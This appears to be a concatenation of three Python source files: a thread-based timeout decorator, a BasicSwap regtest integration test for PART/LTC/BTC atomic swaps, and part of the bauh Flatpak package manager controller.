def timeout(seconds):
"""超时装饰器,指定超时时间
若被装饰的方法在指定的时间内未返回,则抛出Timeout异常"""
def timeout_decorator(func):
"""真正的装饰器"""
def _new_func(oldfunc, result, oldfunc_args, oldfunc_kwargs):
result.append(oldfunc(*oldfunc_args, **oldfunc_kwargs))
def _(*args, **kwargs):
result = []
new_kwargs = { # create new args for _new_func, because we want to get the func return val to result list
'oldfunc': func,
'result': result,
'oldfunc_args': args,
'oldfunc_kwargs': kwargs
}
thd = KThread(target=_new_func, args=(), kwargs=new_kwargs)
thd.start()
thd.join(seconds)
alive = thd.isAlive()
thd.kill() # kill the child thread
if alive:
# raise Timeout(u'function run too long, timeout %d seconds.' % seconds)
try:
raise TimeoutError(u'function run too long, timeout %d seconds.' % seconds)
finally:
return u'function run too long, timeout %d seconds.' % seconds
else:
return result[0]
_.__name__ = func.__name__
_.__doc__ = func.__doc__
return _
return timeout_decorator
|
test_run.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright (c) 2019 tecnovert
# Distributed under the MIT software license, see the accompanying
# file LICENSE or http://www.opensource.org/licenses/mit-license.php.
"""
basicswap]$ python setup.py test
Run one test:
$ python setup.py test -s tests.basicswap.test_run.Test.test_04_ltc_btc
"""
import os
import sys
import json
import time
import shutil
import signal
import logging
import unittest
import threading
from urllib.request import urlopen
import basicswap.config as cfg
from basicswap.basicswap import (
BasicSwap,
Coins,
SwapTypes,
BidStates,
TxStates,
SEQUENCE_LOCK_BLOCKS,
)
from basicswap.util import (
COIN,
toWIF,
dumpje,
)
from basicswap.rpc import (
callrpc_cli,
waitForRPC,
)
from basicswap.contrib.key import (
ECKey,
)
from basicswap.http_server import (
HttpThread,
)
from tests.basicswap.common import (
checkForks,
stopDaemons,
wait_for_offer,
wait_for_bid,
wait_for_bid_tx_state,
wait_for_in_progress,
TEST_HTTP_HOST,
TEST_HTTP_PORT,
BASE_PORT,
BASE_RPC_PORT,
BASE_ZMQ_PORT,
PREFIX_SECRET_KEY_REGTEST,
)
from bin.basicswap_run import startDaemon
NUM_NODES = 3
LTC_NODE = 3
BTC_NODE = 4
delay_event = threading.Event()
stop_test = False
logger = logging.getLogger()
logger.level = logging.DEBUG
if not len(logger.handlers):
logger.addHandler(logging.StreamHandler(sys.stdout))
def prepareOtherDir(datadir, nodeId, conf_file='litecoin.conf'):
node_dir = os.path.join(datadir, str(nodeId))
if not os.path.exists(node_dir):
os.makedirs(node_dir)
filePath = os.path.join(node_dir, conf_file)
with open(filePath, 'w+') as fp:
fp.write('regtest=1\n')
fp.write('[regtest]\n')
fp.write('port=' + str(BASE_PORT + nodeId) + '\n')
fp.write('rpcport=' + str(BASE_RPC_PORT + nodeId) + '\n')
fp.write('daemon=0\n')
fp.write('printtoconsole=0\n')
fp.write('server=1\n')
fp.write('discover=0\n')
fp.write('listenonion=0\n')
fp.write('bind=127.0.0.1\n')
fp.write('findpeers=0\n')
fp.write('debug=1\n')
fp.write('debugexclude=libevent\n')
fp.write('fallbackfee=0.0002\n')
fp.write('acceptnonstdtxn=0\n')
def prepareDir(datadir, nodeId, network_key, network_pubkey):
node_dir = os.path.join(datadir, str(nodeId))
if not os.path.exists(node_dir):
os.makedirs(node_dir)
filePath = os.path.join(node_dir, 'particl.conf')
with open(filePath, 'w+') as fp:
fp.write('regtest=1\n')
fp.write('[regtest]\n')
fp.write('port=' + str(BASE_PORT + nodeId) + '\n')
fp.write('rpcport=' + str(BASE_RPC_PORT + nodeId) + '\n')
fp.write('daemon=0\n')
fp.write('printtoconsole=0\n')
fp.write('server=1\n')
fp.write('discover=0\n')
fp.write('listenonion=0\n')
fp.write('bind=127.0.0.1\n')
fp.write('findpeers=0\n')
fp.write('debug=1\n')
fp.write('debugexclude=libevent\n')
fp.write('zmqpubsmsg=tcp://127.0.0.1:' + str(BASE_ZMQ_PORT + nodeId) + '\n')
fp.write('acceptnonstdtxn=0\n')
fp.write('minstakeinterval=2\n')
fp.write('stakethreadconddelayms=1000\n')
for i in range(0, NUM_NODES):
if nodeId == i:
continue
fp.write('addnode=127.0.0.1:%d\n' % (BASE_PORT + i))
if nodeId < 2:
fp.write('spentindex=1\n')
fp.write('txindex=1\n')
basicswap_dir = os.path.join(datadir, str(nodeId), 'basicswap')
if not os.path.exists(basicswap_dir):
os.makedirs(basicswap_dir)
ltcdatadir = os.path.join(datadir, str(LTC_NODE))
btcdatadir = os.path.join(datadir, str(BTC_NODE))
settings_path = os.path.join(basicswap_dir, cfg.CONFIG_FILENAME)
settings = {
'debug': True,
'zmqhost': 'tcp://127.0.0.1',
'zmqport': BASE_ZMQ_PORT + nodeId,
'htmlhost': 'localhost',
'htmlport': 12700 + nodeId,
'network_key': network_key,
'network_pubkey': network_pubkey,
'chainclients': {
'particl': {
'connection_type': 'rpc',
'manage_daemon': False,
'rpcport': BASE_RPC_PORT + nodeId,
'datadir': node_dir,
'bindir': cfg.PARTICL_BINDIR,
'blocks_confirmed': 2, # Faster testing
},
'litecoin': {
'connection_type': 'rpc',
'manage_daemon': False,
'rpcport': BASE_RPC_PORT + LTC_NODE,
'datadir': ltcdatadir,
'bindir': cfg.LITECOIN_BINDIR,
# 'use_segwit': True,
},
'bitcoin': {
'connection_type': 'rpc',
'manage_daemon': False,
'rpcport': BASE_RPC_PORT + BTC_NODE,
'datadir': btcdatadir,
'bindir': cfg.BITCOIN_BINDIR,
'use_segwit': True,
}
},
'check_progress_seconds': 2,
'check_watched_seconds': 4,
'check_expired_seconds': 60,
'check_events_seconds': 1,
'min_delay_event': 1,
'max_delay_event': 5
}
with open(settings_path, 'w') as fp:
json.dump(settings, fp, indent=4)
def partRpc(cmd, node_id=0):
return callrpc_cli(cfg.PARTICL_BINDIR, os.path.join(cfg.TEST_DATADIRS, str(node_id)), 'regtest', cmd, cfg.PARTICL_CLI)
def btcRpc(cmd):
return callrpc_cli(cfg.BITCOIN_BINDIR, os.path.join(cfg.TEST_DATADIRS, str(BTC_NODE)), 'regtest', cmd, cfg.BITCOIN_CLI)
def ltcRpc(cmd):
return callrpc_cli(cfg.LITECOIN_BINDIR, os.path.join(cfg.TEST_DATADIRS, str(LTC_NODE)), 'regtest', cmd, cfg.LITECOIN_CLI)
def signal_handler(sig, frame):
global stop_test
print('signal {} detected.'.format(sig))
stop_test = True
delay_event.set()
def run_coins_loop(cls):
while not stop_test:
try:
ltcRpc('generatetoaddress 1 {}'.format(cls.ltc_addr))
btcRpc('generatetoaddress 1 {}'.format(cls.btc_addr))
except Exception as e:
logging.warning('run_coins_loop ' + str(e))
time.sleep(1.0)
def run_loop(cls):
while not stop_test:
for c in cls.swap_clients:
c.update()
time.sleep(1)
def make_part_cli_rpc_func(node_id):
node_id = node_id
def rpc_func(method, params=None, wallet=None):
nonlocal node_id
cmd = method
if params:
for p in params:
if isinstance(p, dict) or isinstance(p, list):
cmd += ' "' + dumpje(p) + '"'
elif isinstance(p, int):
cmd += ' ' + str(p)
else:
cmd += ' "' + p + '"'
return partRpc(cmd, node_id)
return rpc_func
class Test(unittest.TestCase):
@classmethod
def setUpClass(cls):
super(Test, cls).setUpClass()
eckey = ECKey()
eckey.generate()
cls.network_key = toWIF(PREFIX_SECRET_KEY_REGTEST, eckey.get_bytes())
cls.network_pubkey = eckey.get_pubkey().get_bytes().hex()
if os.path.isdir(cfg.TEST_DATADIRS):
logging.info('Removing ' + cfg.TEST_DATADIRS)
shutil.rmtree(cfg.TEST_DATADIRS)
for i in range(NUM_NODES):
prepareDir(cfg.TEST_DATADIRS, i, cls.network_key, cls.network_pubkey)
prepareOtherDir(cfg.TEST_DATADIRS, LTC_NODE)
prepareOtherDir(cfg.TEST_DATADIRS, BTC_NODE, 'bitcoin.conf')
cls.daemons = []
cls.swap_clients = []
cls.http_threads = []
cls.daemons.append(startDaemon(os.path.join(cfg.TEST_DATADIRS, str(BTC_NODE)), cfg.BITCOIN_BINDIR, cfg.BITCOIND))
logging.info('Started %s %d', cfg.BITCOIND, cls.daemons[-1].pid)
cls.daemons.append(startDaemon(os.path.join(cfg.TEST_DATADIRS, str(LTC_NODE)), cfg.LITECOIN_BINDIR, cfg.LITECOIND))
logging.info('Started %s %d', cfg.LITECOIND, cls.daemons[-1].pid)
for i in range(NUM_NODES):
cls.daemons.append(startDaemon(os.path.join(cfg.TEST_DATADIRS, str(i)), cfg.PARTICL_BINDIR, cfg.PARTICLD))
logging.info('Started %s %d', cfg.PARTICLD, cls.daemons[-1].pid)
for i in range(NUM_NODES):
# Load mnemonics after all nodes have started to avoid staking getting stuck in TryToSync
rpc = make_part_cli_rpc_func(i)
waitForRPC(rpc)
if i == 0:
rpc('extkeyimportmaster', ['abandon baby cabbage dad eager fabric gadget habit ice kangaroo lab absorb'])
elif i == 1:
rpc('extkeyimportmaster', ['pact mammal barrel matrix local final lecture chunk wasp survey bid various book strong spread fall ozone daring like topple door fatigue limb olympic', '', 'true'])
rpc('getnewextaddress', ['lblExtTest'])
rpc('rescanblockchain')
else:
rpc('extkeyimportmaster', [rpc('mnemonic', ['new'])['master']])
# Lower output split threshold for more stakeable outputs
rpc('walletsettings', ['stakingoptions', {'stakecombinethreshold': 100, 'stakesplitthreshold': 200}])
basicswap_dir = os.path.join(os.path.join(cfg.TEST_DATADIRS, str(i)), 'basicswap')
settings_path = os.path.join(basicswap_dir, cfg.CONFIG_FILENAME)
with open(settings_path) as fs:
settings = json.load(fs)
fp = open(os.path.join(basicswap_dir, 'basicswap.log'), 'w')
sc = BasicSwap(fp, basicswap_dir, settings, 'regtest', log_name='BasicSwap{}'.format(i))
sc.setDaemonPID(Coins.BTC, cls.daemons[0].pid)
sc.setDaemonPID(Coins.LTC, cls.daemons[1].pid)
sc.setDaemonPID(Coins.PART, cls.daemons[2 + i].pid)
sc.start()
cls.swap_clients.append(sc)
t = HttpThread(cls.swap_clients[i].fp, TEST_HTTP_HOST, TEST_HTTP_PORT + i, False, cls.swap_clients[i])
cls.http_threads.append(t)
t.start()
waitForRPC(ltcRpc)
num_blocks = 500
logging.info('Mining %d litecoin blocks', num_blocks)
cls.ltc_addr = ltcRpc('getnewaddress mining_addr legacy')
ltcRpc('generatetoaddress {} {}'.format(num_blocks, cls.ltc_addr))
ro = ltcRpc('getblockchaininfo')
checkForks(ro)
waitForRPC(btcRpc)
cls.btc_addr = btcRpc('getnewaddress mining_addr bech32')
logging.info('Mining %d Bitcoin blocks to %s', num_blocks, cls.btc_addr)
btcRpc('generatetoaddress {} {}'.format(num_blocks, cls.btc_addr))
ro = btcRpc('getblockchaininfo')
checkForks(ro)
ro = ltcRpc('getwalletinfo')
print('ltcRpc', ro)
signal.signal(signal.SIGINT, signal_handler)
cls.update_thread = threading.Thread(target=run_loop, args=(cls,))
cls.update_thread.start()
cls.coins_update_thread = threading.Thread(target=run_coins_loop, args=(cls,))
cls.coins_update_thread.start()
# Wait for height, or sequencelock is thrown off by genesis blocktime
num_blocks = 3
logging.info('Waiting for Particl chain height %d', num_blocks)
for i in range(60):
particl_blocks = cls.swap_clients[0].callrpc('getblockchaininfo')['blocks']
print('particl_blocks', particl_blocks)
if particl_blocks >= num_blocks:
break
delay_event.wait(1)
assert(particl_blocks >= num_blocks)
@classmethod
def tearDownClass(cls):
global stop_test
logging.info('Finalising')
stop_test = True
cls.update_thread.join()
cls.coins_update_thread.join()
for t in cls.http_threads:
t.stop()
t.join()
for c in cls.swap_clients:
c.finalise()
c.fp.close()
stopDaemons(cls.daemons)
super(Test, cls).tearDownClass()
def test_01_verifyrawtransaction(self):
txn = '0200000001eb6e5c4ebba4efa32f40c7314cad456a64008e91ee30b2dd0235ab9bb67fbdbb01000000ee47304402200956933242dde94f6cf8f195a470f8d02aef21ec5c9b66c5d3871594bdb74c9d02201d7e1b440de8f4da672d689f9e37e98815fb63dbc1706353290887eb6e8f7235012103dc1b24feb32841bc2f4375da91fa97834e5983668c2a39a6b7eadb60e7033f9d205a803b28fe2f86c17db91fa99d7ed2598f79b5677ffe869de2e478c0d1c02cc7514c606382012088a8201fe90717abb84b481c2a59112414ae56ec8acc72273642ca26cc7a5812fdc8f68876a914225fbfa4cb725b75e511810ac4d6f74069bdded26703520140b27576a914207eb66b2fd6ed9924d6217efc7fa7b38dfabe666888acffffffff01e0167118020000001976a9140044e188928710cecba8311f1cf412135b98145c88ac00000000'
prevout = {
'txid': 'bbbd7fb69bab3502ddb230ee918e00646a45ad4c31c7402fa3efa4bb4e5c6eeb',
'vout': 1,
'scriptPubKey': 'a9143d37191e8b864222d14952a14c85504677a0581d87',
'redeemScript': '6382012088a8201fe90717abb84b481c2a59112414ae56ec8acc72273642ca26cc7a5812fdc8f68876a914225fbfa4cb725b75e511810ac4d6f74069bdded26703520140b27576a914207eb66b2fd6ed9924d6217efc7fa7b38dfabe666888ac',
'amount': 1.0}
ro = partRpc('verifyrawtransaction {} "{}"'.format(txn, dumpje([prevout, ])))
assert(ro['inputs_valid'] is False)
assert(ro['validscripts'] == 1)
prevout['amount'] = 100.0
ro = partRpc('verifyrawtransaction {} "{}"'.format(txn, dumpje([prevout, ])))
assert(ro['inputs_valid'] is True)
assert(ro['validscripts'] == 1)
txn = 'a000000000000128e8ba6a28673f2ebb5fd983b27a791fd1888447a47638b3cd8bfdd3f54a6f1e0100000000a90040000101e0c69a3b000000001976a9146c0f1ea47ca2bf84ed87bf3aa284e18748051f5788ac04473044022026b01f3a90e46883949404141467b741cd871722a4aaae8ddc8c4d6ab6fb1c77022047a2f3be2dcbe4c51837d2d5e0329aaa8a13a8186b03186b127cc51185e4f3ab012103dc1b24feb32841bc2f4375da91fa97834e5983668c2a39a6b7eadb60e7033f9d0100606382012088a8201fe90717abb84b481c2a59112414ae56ec8acc72273642ca26cc7a5812fdc8f68876a914207eb66b2fd6ed9924d6217efc7fa7b38dfabe666703a90040b27576a914225fbfa4cb725b75e511810ac4d6f74069bdded26888ac'
prevout = {
'txid': '1e6f4af5d3fd8bcdb33876a4478488d11f797ab283d95fbb2e3f67286abae828',
'vout': 1,
'scriptPubKey': 'a914129aee070317bbbd57062288849e85cf57d15c2687',
'redeemScript': '6382012088a8201fe90717abb84b481c2a59112414ae56ec8acc72273642ca26cc7a5812fdc8f68876a914207eb66b2fd6ed9924d6217efc7fa7b38dfabe666703a90040b27576a914225fbfa4cb725b75e511810ac4d6f74069bdded26888ac',
'amount': 1.0}
ro = partRpc('verifyrawtransaction {} "{}"'.format(txn, dumpje([prevout, ])))
assert(ro['inputs_valid'] is False)
assert(ro['validscripts'] == 0) # Amount covered by signature
prevout['amount'] = 90.0
ro = partRpc('verifyrawtransaction {} "{}"'.format(txn, dumpje([prevout, ])))
assert(ro['inputs_valid'] is True)
assert(ro['validscripts'] == 1)
def test_02_part_ltc(self):
logging.info('---------- Test PART to LTC')
swap_clients = self.swap_clients
offer_id = swap_clients[0].postOffer(Coins.PART, Coins.LTC, 100 * COIN, 0.1 * COIN, 100 * COIN, SwapTypes.SELLER_FIRST)
wait_for_offer(delay_event, swap_clients[1], offer_id)
offers = swap_clients[1].listOffers()
assert(len(offers) == 1)
for offer in offers:
if offer.offer_id == offer_id:
bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)
wait_for_bid(delay_event, swap_clients[0], bid_id)
swap_clients[0].acceptBid(bid_id)
wait_for_in_progress(delay_event, swap_clients[1], bid_id, sent=True)
wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)
wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=60)
js_0 = json.loads(urlopen('http://localhost:1800/json').read())
js_1 = json.loads(urlopen('http://localhost:1801/json').read())
assert(js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)
assert(js_1['num_swapping'] == 0 and js_1['num_watched_outputs'] == 0)
def test_03_ltc_part(self):
logging.info('---------- Test LTC to PART')
swap_clients = self.swap_clients
offer_id = swap_clients[1].postOffer(Coins.LTC, Coins.PART, 10 * COIN, 9.0 * COIN, 10 * COIN, SwapTypes.SELLER_FIRST)
wait_for_offer(delay_event, swap_clients[0], offer_id)
offers = swap_clients[0].listOffers()
for offer in offers:
if offer.offer_id == offer_id:
bid_id = swap_clients[0].postBid(offer_id, offer.amount_from)
wait_for_bid(delay_event, swap_clients[1], bid_id)
swap_clients[1].acceptBid(bid_id)
wait_for_in_progress(delay_event, swap_clients[0], bid_id, sent=True)
wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=60)
wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)
js_0 = json.loads(urlopen('http://localhost:1800/json').read())
js_1 = json.loads(urlopen('http://localhost:1801/json').read())
assert(js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)
assert(js_1['num_swapping'] == 0 and js_1['num_watched_outputs'] == 0)
def test_04_ltc_btc(self):
logging.info('---------- Test LTC to BTC')
swap_clients = self.swap_clients
offer_id = swap_clients[0].postOffer(Coins.LTC, Coins.BTC, 10 * COIN, 0.1 * COIN, 10 * COIN, SwapTypes.SELLER_FIRST)
wait_for_offer(delay_event, swap_clients[1], offer_id)
offers = swap_clients[1].listOffers()
for offer in offers:
if offer.offer_id == offer_id:
bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)
wait_for_bid(delay_event, swap_clients[0], bid_id)
swap_clients[0].acceptBid(bid_id)
wait_for_in_progress(delay_event, swap_clients[1], bid_id, sent=True)
wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)
wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=60)
js_0bid = json.loads(urlopen('http://localhost:1800/json/bids/{}'.format(bid_id.hex())).read())
js_0 = json.loads(urlopen('http://localhost:1800/json').read())
js_1 = json.loads(urlopen('http://localhost:1801/json').read())
assert(js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)
assert(js_1['num_swapping'] == 0 and js_1['num_watched_outputs'] == 0)
def test_05_refund(self):
# Seller submits initiate txn, buyer doesn't respond
logging.info('---------- Test refund, LTC to BTC')
swap_clients = self.swap_clients
offer_id = swap_clients[0].postOffer(Coins.LTC, Coins.BTC, 10 * COIN, 0.1 * COIN, 10 * COIN, SwapTypes.SELLER_FIRST,
SEQUENCE_LOCK_BLOCKS, 10)
wait_for_offer(delay_event, swap_clients[1], offer_id)
offers = swap_clients[1].listOffers()
for offer in offers:
if offer.offer_id == offer_id:
bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)
wait_for_bid(delay_event, swap_clients[0], bid_id)
swap_clients[1].abandonBid(bid_id)
swap_clients[0].acceptBid(bid_id)
wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)
wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.BID_ABANDONED, sent=True, wait_for=60)
js_0 = json.loads(urlopen('http://localhost:1800/json').read())
js_1 = json.loads(urlopen('http://localhost:1801/json').read())
assert(js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)
assert(js_1['num_swapping'] == 0 and js_1['num_watched_outputs'] == 0)
def test_06_self_bid(self):
logging.info('---------- Test same client, BTC to LTC')
swap_clients = self.swap_clients
js_0_before = json.loads(urlopen('http://localhost:1800/json').read())
offer_id = swap_clients[0].postOffer(Coins.BTC, Coins.LTC, 10 * COIN, 10 * COIN, 10 * COIN, SwapTypes.SELLER_FIRST)
wait_for_offer(delay_event, swap_clients[0], offer_id)
offers = swap_clients[0].listOffers()
for offer in offers:
if offer.offer_id == offer_id:
bid_id = swap_clients[0].postBid(offer_id, offer.amount_from)
wait_for_bid(delay_event, swap_clients[0], bid_id)
swap_clients[0].acceptBid(bid_id)
wait_for_bid_tx_state(delay_event, swap_clients[0], bid_id, TxStates.TX_REDEEMED, TxStates.TX_REDEEMED, wait_for=60)
wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)
js_0 = json.loads(urlopen('http://localhost:1800/json').read())
assert(js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)
assert(js_0['num_recv_bids'] == js_0_before['num_recv_bids'] + 1 and js_0['num_sent_bids'] == js_0_before['num_sent_bids'] + 1)
def test_07_error(self):
logging.info('---------- Test error, BTC to LTC, set fee above bid value')
swap_clients = self.swap_clients
js_0_before = json.loads(urlopen('http://localhost:1800/json').read())
offer_id = swap_clients[0].postOffer(Coins.BTC, Coins.LTC, 0.001 * COIN, 1.0 * COIN, 0.001 * COIN, SwapTypes.SELLER_FIRST)
wait_for_offer(delay_event, swap_clients[0], offer_id)
offers = swap_clients[0].listOffers()
for offer in offers:
if offer.offer_id == offer_id:
bid_id = swap_clients[0].postBid(offer_id, offer.amount_from)
wait_for_bid(delay_event, swap_clients[0], bid_id)
swap_clients[0].acceptBid(bid_id)
swap_clients[0].coin_clients[Coins.BTC]['override_feerate'] = 10.0
swap_clients[0].coin_clients[Coins.LTC]['override_feerate'] = 10.0
wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.BID_ERROR, wait_for=60)
swap_clients[0].abandonBid(bid_id)
del swap_clients[0].coin_clients[Coins.BTC]['override_feerate']
del swap_clients[0].coin_clients[Coins.LTC]['override_feerate']
def test_08_part_ltc_buyer_first(self):
logging.info('---------- Test PART to LTC, buyer first')
swap_clients = self.swap_clients
offer_id = swap_clients[0].postOffer(Coins.PART, Coins.LTC, 100 * COIN, 0.1 * COIN, 100 * COIN, SwapTypes.BUYER_FIRST)
return # TODO
wait_for_offer(delay_event, swap_clients[1], offer_id)
offers = swap_clients[1].listOffers()
assert(len(offers) == 1)
for offer in offers:
if offer.offer_id == offer_id:
bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)
wait_for_bid(delay_event, swap_clients[0], bid_id)
swap_clients[0].acceptBid(bid_id)
wait_for_in_progress(delay_event, swap_clients[1], bid_id, sent=True)
wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)
wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=60)
js_0 = json.loads(urlopen('http://localhost:1800/json').read())
js_1 = json.loads(urlopen('http://localhost:1801/json').read())
assert(js_0['num_swapping'] == 0 and js_0['num_watched_outputs'] == 0)
assert(js_1['num_swapping'] == 0 and js_1['num_watched_outputs'] == 0)
def test_09_part_ltc_auto_accept(self):
logging.info('---------- Test PART to LTC, auto accept bid')
swap_clients = self.swap_clients
offer_id = swap_clients[0].postOffer(Coins.PART, Coins.LTC, 100 * COIN, 0.1 * COIN, 100 * COIN, SwapTypes.SELLER_FIRST, auto_accept_bids=True)
wait_for_offer(delay_event, swap_clients[1], offer_id)
offers = swap_clients[1].listOffers()
assert(len(offers) >= 1)
for offer in offers:
if offer.offer_id == offer_id:
bid_id = swap_clients[1].postBid(offer_id, offer.amount_from)
wait_for_bid(delay_event, swap_clients[0], bid_id, BidStates.SWAP_COMPLETED, wait_for=60)
wait_for_bid(delay_event, swap_clients[1], bid_id, BidStates.SWAP_COMPLETED, sent=True, wait_for=60)
def pass_99_delay(self):
global stop_test
logging.info('Delay')
for i in range(60 * 10):
if stop_test:
break
time.sleep(1)
print('delay', i)
if i % 2 == 0:
offer_id = self.swap_clients[0].postOffer(Coins.BTC, Coins.LTC, 0.001 * (i + 1) * COIN, 1.0 * (i + 1) * COIN, 0.001 * (i + 1) * COIN, SwapTypes.SELLER_FIRST)
else:
offer_id = self.swap_clients[1].postOffer(Coins.LTC, Coins.BTC, 0.001 * (i + 1) * COIN, 1.0 * (i + 1) * COIN, 0.001 * COIN, SwapTypes.SELLER_FIRST)
stop_test = True
if __name__ == '__main__':
unittest.main()
|
controller.py | import traceback
from datetime import datetime
from threading import Thread
from typing import List, Set, Type
from bauh.api.abstract.controller import SearchResult, SoftwareManager, ApplicationContext
from bauh.api.abstract.disk import DiskCacheLoader
from bauh.api.abstract.handler import ProcessWatcher
from bauh.api.abstract.model import PackageHistory, PackageUpdate, SoftwarePackage, PackageSuggestion, \
SuggestionPriority
from bauh.api.abstract.view import MessageType
from bauh.commons import user
from bauh.commons.html import strip_html, bold
from bauh.commons.system import SystemProcess, ProcessHandler, SimpleProcess
from bauh.gems.flatpak import flatpak, SUGGESTIONS_FILE, CONFIG_FILE
from bauh.gems.flatpak.config import read_config
from bauh.gems.flatpak.constants import FLATHUB_API_URL
from bauh.gems.flatpak.model import FlatpakApplication
from bauh.gems.flatpak.worker import FlatpakAsyncDataLoader, FlatpakUpdateLoader
DATE_FORMAT = '%Y-%m-%dT%H:%M:%S.000Z'
class FlatpakManager(SoftwareManager):
def __init__(self, context: ApplicationContext):
super(FlatpakManager, self).__init__(context=context)
self.i18n = context.i18n
self.api_cache = context.cache_factory.new()
self.category_cache = context.cache_factory.new()
context.disk_loader_factory.map(FlatpakApplication, self.api_cache)
self.enabled = True
self.http_client = context.http_client
self.suggestions_cache = context.cache_factory.new()
self.logger = context.logger
def get_managed_types(self) -> Set["type"]:
return {FlatpakApplication}
def _map_to_model(self, app_json: dict, installed: bool, disk_loader: DiskCacheLoader, internet: bool = True) -> FlatpakApplication:
app = FlatpakApplication(**app_json, i18n=self.i18n)
app.installed = installed
api_data = self.api_cache.get(app_json['id'])
expired_data = api_data and api_data.get('expires_at') and api_data['expires_at'] <= datetime.utcnow()
if not api_data or expired_data:
if not app.runtime:
if disk_loader:
disk_loader.fill(app) # preloading cached disk data
if internet:
FlatpakAsyncDataLoader(app=app, api_cache=self.api_cache, manager=self,
context=self.context, category_cache=self.category_cache).start()
else:
app.fill_cached_data(api_data)
return app
def _get_search_remote(self) -> str:
remotes = flatpak.list_remotes()
if remotes['system']:
remote_level = 'system'
elif remotes['user']:
remote_level = 'user'
else:
remote_level = 'user'
ProcessHandler().handle_simple(flatpak.set_default_remotes(remote_level))
return remote_level
def search(self, words: str, disk_loader: DiskCacheLoader, limit: int = -1, is_url: bool = False) -> SearchResult:
if is_url:
return SearchResult([], [], 0)
remote_level = self._get_search_remote()
res = SearchResult([], [], 0)
apps_found = flatpak.search(flatpak.get_version(), words, remote_level)
if apps_found:
already_read = set()
installed_apps = self.read_installed(disk_loader=disk_loader).installed
if installed_apps:
for app_found in apps_found:
for installed_app in installed_apps:
if app_found['id'] == installed_app.id:
res.installed.append(installed_app)
already_read.add(app_found['id'])
if len(apps_found) > len(already_read):
for app_found in apps_found:
if app_found['id'] not in already_read:
res.new.append(self._map_to_model(app_found, False, disk_loader))
res.total = len(res.installed) + len(res.new)
return res
def _add_updates(self, version: str, output: list):
output.append(flatpak.list_updates_as_str(version))
def read_installed(self, disk_loader: DiskCacheLoader, limit: int = -1, only_apps: bool = False, pkg_types: Set[Type[SoftwarePackage]] = None, internet_available: bool = None) -> SearchResult:
version = flatpak.get_version()
updates = []
if internet_available:
thread_updates = Thread(target=self._add_updates, args=(version, updates))
thread_updates.start()
else:
thread_updates = None
installed = flatpak.list_installed(version)
models = []
if installed:
update_map = None
if thread_updates:
thread_updates.join()
update_map = updates[0]
for app_json in installed:
model = self._map_to_model(app_json=app_json, installed=True,
disk_loader=disk_loader, internet=internet_available)
model.update = None
models.append(model)
if update_map and (update_map['full'] or update_map['partial']):
if version >= '1.4.0':
update_id = '{}/{}/{}'.format(app_json['id'], app_json['branch'], app_json['installation'])
if update_map['full'] and update_id in update_map['full']:
model.update = True
if update_map['partial']:
for partial in update_map['partial']:
partial_data = partial.split('/')
if app_json['id'] in partial_data[0] and\
app_json['branch'] == partial_data[1] and\
app_json['installation'] == partial_data[2]:
partial_model = model.gen_partial(partial.split('/')[0])
partial_model.update = True
models.append(partial_model)
else:
model.update = '{}/{}'.format(app_json['installation'], app_json['ref']) in update_map['full']
return SearchResult(models, None, len(models))
def downgrade(self, pkg: FlatpakApplication, root_password: str, watcher: ProcessWatcher) -> bool:
pkg.commit = flatpak.get_commit(pkg.id, pkg.branch, pkg.installation)
watcher.change_progress(10)
watcher.change_substatus(self.i18n['flatpak.downgrade.commits'])
commits = flatpak.get_app_commits(pkg.ref, pkg.origin, pkg.installation)
commit_idx = commits.index(pkg.commit)
# downgrade is not possible if the app current commit in the first one:
if commit_idx == len(commits) - 1:
watcher.show_message(self.i18n['flatpak.downgrade.impossible.title'], self.i18n['flatpak.downgrade.impossible.body'], MessageType.WARNING)
return False
commit = commits[commit_idx + 1]
watcher.change_substatus(self.i18n['flatpak.downgrade.reverting'])
watcher.change_progress(50)
success = ProcessHandler(watcher).handle(SystemProcess(subproc=flatpak.downgrade(pkg.ref, commit, pkg.installation, root_password),
success_phrases=['Changes complete.', 'Updates complete.'],
wrong_error_phrase='Warning'))
watcher.change_progress(100)
return success
def clean_cache_for(self, pkg: FlatpakApplication):
super(FlatpakManager, self).clean_cache_for(pkg)
self.api_cache.delete(pkg.id)
def update(self, pkg: FlatpakApplication, root_password: str, watcher: ProcessWatcher) -> bool:
return ProcessHandler(watcher).handle(SystemProcess(subproc=flatpak.update(pkg.ref, pkg.installation)))
def uninstall(self, pkg: FlatpakApplication, root_password: str, watcher: ProcessWatcher) -> bool:
uninstalled = ProcessHandler(watcher).handle(SystemProcess(subproc=flatpak.uninstall(pkg.ref, pkg.installation)))
if self.suggestions_cache:
self.suggestions_cache.delete(pkg.id)
return uninstalled
def get_info(self, app: FlatpakApplication) -> dict:
if app.installed:
app_info = flatpak.get_app_info_fields(app.id, app.branch, app.installation)
app_info['name'] = app.name
app_info['type'] = 'runtime' if app.runtime else 'app'
app_info['description'] = strip_html(app.description) if app.description else ''
if app.installation:
app_info['installation'] = app.installation
if app_info.get('installed'):
app_info['installed'] = app_info['installed'].replace('?', ' ')
return app_info
